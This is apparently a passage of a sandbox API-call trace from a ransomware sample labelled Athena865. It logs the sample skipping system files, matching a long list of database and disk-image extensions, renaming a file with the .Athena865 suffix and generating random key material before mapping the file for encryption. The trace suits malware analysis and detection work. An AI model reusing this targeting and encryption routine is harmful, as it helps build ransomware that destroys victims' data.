lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1 [0098.439] lstrlenW (lpString="state.rsm") returned 9 [0098.439] lstrcpyW (in: lpString1=0x241e8d0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm" [0098.439] lstrlenW (lpString="state.rsm") returned 9 [0098.439] lstrlenW (lpString="Athena865") returned 9 [0098.439] lstrlenW (lpString=".dll") returned 4 [0098.439] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1 [0098.440] lstrlenW (lpString=".lnk") returned 4 [0098.440] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1 [0098.440] lstrlenW (lpString=".ini") returned 4 [0098.440] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1 [0098.440] lstrlenW (lpString=".sys") returned 4 [0098.440] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1 [0098.440] lstrlenW (lpString="state.rsm") returned 9 [0098.440] lstrlenW (lpString="bak") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1 [0098.440] lstrlenW (lpString="ba_") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1 [0098.440] lstrlenW (lpString="dbb") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1 [0098.440] lstrlenW (lpString="vmdk") returned 4 [0098.440] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1 [0098.440] lstrlenW (lpString="rar") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1 [0098.440] lstrlenW (lpString="zip") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1 [0098.440] lstrlenW (lpString="tgz") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1 [0098.440] lstrlenW (lpString="vbox") returned 4 [0098.440] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1 [0098.440] lstrlenW (lpString="vdi") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1 [0098.440] lstrlenW (lpString="vhd") returned 3 [0098.440] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1 [0098.440] lstrlenW (lpString="vhdx") returned 4 [0098.440] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1 [0098.440] lstrlenW (lpString="avhd") returned 4 [0098.440] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1 [0098.441] lstrlenW (lpString="db") returned 2 [0098.441] lstrcmpiW (lpString1="sm", lpString2="db") returned 1 [0098.441] lstrlenW (lpString="db2") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1 [0098.441] lstrlenW (lpString="db3") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1 [0098.441] lstrlenW (lpString="dbf") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1 [0098.441] lstrlenW (lpString="mdf") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1 [0098.441] lstrlenW (lpString="mdb") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1 [0098.441] lstrlenW (lpString="sql") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1 [0098.441] lstrlenW (lpString="sqlite") returned 6 [0098.441] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1 [0098.441] lstrlenW (lpString="sqlite3") returned 7 [0098.441] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1 [0098.441] lstrlenW (lpString="sqlitedb") returned 8 [0098.441] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1 [0098.441] lstrlenW (lpString="xml") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1 [0098.441] lstrlenW (lpString="$er") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1 [0098.441] lstrlenW (lpString="4dd") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1 [0098.441] lstrlenW (lpString="4dl") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1 [0098.441] lstrlenW (lpString="^^^") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1 [0098.441] lstrlenW (lpString="abs") returned 3 [0098.441] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1 [0098.442] lstrlenW (lpString="abx") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1 [0098.442] lstrlenW (lpString="accdb") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1 [0098.442] lstrlenW (lpString="accdc") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1 [0098.442] lstrlenW (lpString="accde") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1 [0098.442] lstrlenW (lpString="accdr") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1 [0098.442] lstrlenW (lpString="accdt") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1 [0098.442] lstrlenW (lpString="accdw") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1 [0098.442] lstrlenW (lpString="accft") returned 5 [0098.442] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1 [0098.442] lstrlenW (lpString="adb") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.442] lstrlenW (lpString="adb") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.442] lstrlenW (lpString="ade") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1 [0098.442] lstrlenW (lpString="adf") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1 [0098.442] lstrlenW (lpString="adn") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1 [0098.442] lstrlenW (lpString="adp") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1 [0098.442] lstrlenW (lpString="alf") returned 3 [0098.442] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1 [0098.443] lstrlenW (lpString="ask") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1 [0098.443] lstrlenW (lpString="btr") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1 [0098.443] lstrlenW (lpString="cat") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1 [0098.443] lstrlenW (lpString="cdb") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1 [0098.443] lstrlenW (lpString="ckp") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1 [0098.443] lstrlenW (lpString="cma") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1 [0098.443] lstrlenW (lpString="cpd") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1 [0098.443] lstrlenW (lpString="dacpac") returned 6 [0098.443] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1 [0098.443] lstrlenW (lpString="dad") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1 [0098.443] lstrlenW (lpString="dadiagrams") returned 10 [0098.443] lstrlenW (lpString="daschema") returned 8 [0098.443] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1 [0098.443] lstrlenW (lpString="db-journal") returned 10 [0098.443] lstrlenW (lpString="db-shm") returned 6 [0098.443] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1 [0098.443] lstrlenW (lpString="db-wal") returned 6 [0098.443] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1 [0098.443] lstrlenW (lpString="dbc") returned 3 [0098.443] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1 [0098.443] lstrlenW (lpString="dbs") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1 [0098.444] lstrlenW (lpString="dbt") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1 [0098.444] lstrlenW (lpString="dbv") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1 [0098.444] lstrlenW (lpString="dbx") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1 [0098.444] lstrlenW (lpString="dcb") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1 [0098.444] lstrlenW (lpString="dct") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1 [0098.444] lstrlenW (lpString="dcx") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1 [0098.444] lstrlenW (lpString="ddl") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1 [0098.444] lstrlenW (lpString="dlis") returned 4 [0098.444] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1 [0098.444] lstrlenW (lpString="dp1") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1 [0098.444] lstrlenW (lpString="dqy") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1 [0098.444] lstrlenW (lpString="dsk") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1 [0098.444] lstrlenW (lpString="dsn") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1 [0098.444] lstrlenW (lpString="dtsx") returned 4 [0098.444] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1 [0098.444] lstrlenW (lpString="dxl") returned 3 [0098.444] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1 [0098.444] lstrlenW (lpString="eco") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1 [0098.445] lstrlenW (lpString="ecx") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1 [0098.445] lstrlenW (lpString="edb") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1 [0098.445] lstrlenW (lpString="epim") returned 4 [0098.445] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1 [0098.445] lstrlenW (lpString="fcd") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1 [0098.445] lstrlenW (lpString="fdb") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1 [0098.445] lstrlenW (lpString="fic") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1 [0098.445] lstrlenW (lpString="flexolibrary") returned 12 [0098.445] lstrlenW (lpString="fm5") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1 [0098.445] lstrlenW (lpString="fmp") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1 [0098.445] lstrlenW (lpString="fmp12") returned 5 [0098.445] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1 [0098.445] lstrlenW (lpString="fmpsl") returned 5 [0098.445] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1 [0098.445] lstrlenW (lpString="fol") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1 [0098.445] lstrlenW (lpString="fp3") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1 [0098.445] lstrlenW (lpString="fp4") returned 3 [0098.445] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1 [0098.445] lstrlenW (lpString="fp5") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1 [0098.446] lstrlenW (lpString="fp7") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1 [0098.446] lstrlenW (lpString="fpt") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1 [0098.446] lstrlenW (lpString="frm") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1 [0098.446] lstrlenW (lpString="gdb") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.446] lstrlenW (lpString="gdb") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.446] lstrlenW (lpString="grdb") returned 4 [0098.446] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1 [0098.446] lstrlenW (lpString="gwi") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1 [0098.446] lstrlenW (lpString="hdb") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1 [0098.446] lstrlenW (lpString="his") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1 [0098.446] lstrlenW (lpString="ib") returned 2 [0098.446] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1 [0098.446] lstrlenW (lpString="idb") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1 [0098.446] lstrlenW (lpString="ihx") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1 [0098.446] lstrlenW (lpString="itdb") returned 4 [0098.446] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1 [0098.446] lstrlenW (lpString="itw") returned 3 [0098.446] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1 [0098.447] lstrlenW (lpString="jet") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1 [0098.447] lstrlenW (lpString="jtx") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1 [0098.447] lstrlenW (lpString="kdb") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1 [0098.447] lstrlenW (lpString="kexi") returned 4 [0098.447] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1 [0098.447] lstrlenW (lpString="kexic") returned 5 [0098.447] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1 [0098.447] lstrlenW (lpString="kexis") returned 5 [0098.447] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1 [0098.447] lstrlenW (lpString="lgc") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1 [0098.447] lstrlenW (lpString="lwx") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1 [0098.447] lstrlenW (lpString="maf") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1 [0098.447] lstrlenW (lpString="maq") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1 [0098.447] lstrlenW (lpString="mar") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1 [0098.447] lstrlenW (lpString="marshal") returned 7 [0098.447] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1 [0098.447] lstrlenW (lpString="mas") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1 [0098.447] lstrlenW (lpString="mav") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1 [0098.447] lstrlenW (lpString="maw") returned 3 [0098.447] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1 [0098.448] lstrlenW (lpString="mdbhtml") returned 7 [0098.448] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1 [0098.448] lstrlenW (lpString="mdn") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1 [0098.448] lstrlenW (lpString="mdt") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1 [0098.448] lstrlenW (lpString="mfd") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1 [0098.448] lstrlenW (lpString="mpd") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1 [0098.448] lstrlenW (lpString="mrg") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1 [0098.448] lstrlenW (lpString="mud") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1 [0098.448] lstrlenW (lpString="mwb") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1 [0098.448] lstrlenW (lpString="myd") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1 [0098.448] lstrlenW (lpString="ndf") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1 [0098.448] lstrlenW (lpString="nnt") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1 [0098.448] lstrlenW (lpString="nrmlib") returned 6 [0098.448] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1 [0098.448] lstrlenW (lpString="ns2") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1 [0098.448] lstrlenW (lpString="ns3") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1 [0098.448] lstrlenW (lpString="ns4") returned 3 [0098.448] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1 [0098.449] lstrlenW (lpString="nsf") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1 [0098.449] lstrlenW (lpString="nv") returned 2 [0098.449] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1 [0098.449] lstrlenW (lpString="nv2") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1 [0098.449] lstrlenW (lpString="nwdb") returned 4 [0098.449] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1 [0098.449] lstrlenW (lpString="nyf") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1 [0098.449] lstrlenW (lpString="odb") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.449] lstrlenW (lpString="odb") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.449] lstrlenW (lpString="oqy") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1 [0098.449] lstrlenW (lpString="ora") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1 [0098.449] lstrlenW (lpString="orx") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1 [0098.449] lstrlenW (lpString="owc") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1 [0098.449] lstrlenW (lpString="p96") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1 [0098.449] lstrlenW (lpString="p97") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1 [0098.449] lstrlenW (lpString="pan") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1 [0098.449] lstrlenW (lpString="pdb") returned 3 [0098.449] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1 [0098.450] lstrlenW (lpString="pdm") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1 [0098.450] lstrlenW (lpString="pnz") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1 [0098.450] lstrlenW (lpString="qry") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1 [0098.450] lstrlenW (lpString="qvd") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1 [0098.450] lstrlenW (lpString="rbf") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1 [0098.450] lstrlenW (lpString="rctd") returned 4 [0098.450] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1 [0098.450] lstrlenW (lpString="rod") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1 [0098.450] lstrlenW (lpString="rodx") returned 4 [0098.450] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1 [0098.450] lstrlenW (lpString="rpd") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1 [0098.450] lstrlenW (lpString="rsd") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1 [0098.450] lstrlenW (lpString="sas7bdat") returned 8 [0098.450] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1 [0098.450] lstrlenW (lpString="sbf") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1 [0098.450] lstrlenW (lpString="scx") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1 [0098.450] lstrlenW (lpString="sdb") returned 3 [0098.450] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1 [0098.450] lstrlenW (lpString="sdc") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1 [0098.451] lstrlenW (lpString="sdf") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1 [0098.451] lstrlenW (lpString="sis") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1 [0098.451] lstrlenW (lpString="spq") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1 [0098.451] lstrlenW (lpString="te") returned 2 [0098.451] lstrcmpiW (lpString1="sm", lpString2="te") returned -1 [0098.451] lstrlenW (lpString="teacher") returned 7 [0098.451] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1 [0098.451] lstrlenW (lpString="tmd") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1 [0098.451] lstrlenW (lpString="tps") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1 [0098.451] lstrlenW (lpString="trc") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.451] lstrlenW (lpString="trc") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.451] lstrlenW (lpString="trm") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1 [0098.451] lstrlenW (lpString="udb") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1 [0098.451] lstrlenW (lpString="udl") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1 [0098.451] lstrlenW (lpString="usr") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1 [0098.451] lstrlenW (lpString="v12") returned 3 [0098.451] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1 [0098.451] lstrlenW (lpString="vis") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1 [0098.452] lstrlenW (lpString="vpd") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1 [0098.452] lstrlenW (lpString="vvv") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1 [0098.452] lstrlenW (lpString="wdb") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1 [0098.452] lstrlenW (lpString="wmdb") returned 4 [0098.452] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1 [0098.452] lstrlenW (lpString="wrk") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1 [0098.452] lstrlenW (lpString="xdb") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1 [0098.452] lstrlenW (lpString="xld") returned 3 [0098.452] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1 [0098.452] lstrlenW (lpString="xmlff") returned 5 [0098.452] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1 [0098.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.Athena865") returned 87 [0098.452] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.athena865"), dwFlags=0x1) returned 1 [0098.455] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.455] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=654) returned 1 [0098.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.455] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.456] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.456] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.456] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0098.458] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0098.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.459] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.459] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53ee88 [0098.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ee88 | out: hHeap=0x4f0000) returned 1 [0098.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53ee88 [0098.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ee88 | out: hHeap=0x4f0000) returned 1 [0098.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.460] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.460] CloseHandle (hObject=0x17c) returned 1 [0098.460] CloseHandle (hObject=0x154) returned 1 [0098.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 